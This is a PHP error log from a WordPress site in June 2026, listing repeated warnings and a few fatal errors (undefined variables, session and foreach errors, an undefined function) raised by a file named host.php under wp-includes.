[04-Jun-2026 00:54:51 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:54:51 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[04-Jun-2026 00:54:51 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:54:51 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[04-Jun-2026 00:55:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:07 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:07 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:07 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[04-Jun-2026 00:55:07 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:07 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[04-Jun-2026 00:55:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:10 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:10 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[04-Jun-2026 00:55:10 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:10 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:29 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:29 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:29 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:36 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:37 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:37 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:41 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:42 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:42 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:42 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:47 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:47 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:47 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:50 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:56 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:02 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:02 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:35:02 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:24 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:35:24 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:34 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:35:34 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 21:13:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 21:13:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 21:13:58 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 21:13:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 21:13:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 23:43:04 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 871
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 871
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 872
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 872
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 873
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 873
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 874
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 874
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 875
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 875
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 876
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 876
[08-Jun-2026 23:43:08 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 542
[08-Jun-2026 23:43:08 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 542
[08-Jun-2026 23:43:12 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:12 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:12 UTC] PHP Warning:  Undefined variable $ext in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1192
[08-Jun-2026 23:43:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1207
Stack trace:
#0 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1207
[08-Jun-2026 23:43:14 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1207
Stack trace:
#0 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1207
[08-Jun-2026 23:43:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1207
Stack trace:
#0 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1207
[08-Jun-2026 23:43:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:12 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:19 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:19 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 01:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 01:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:24 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 01:19:24 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:25 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:27 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
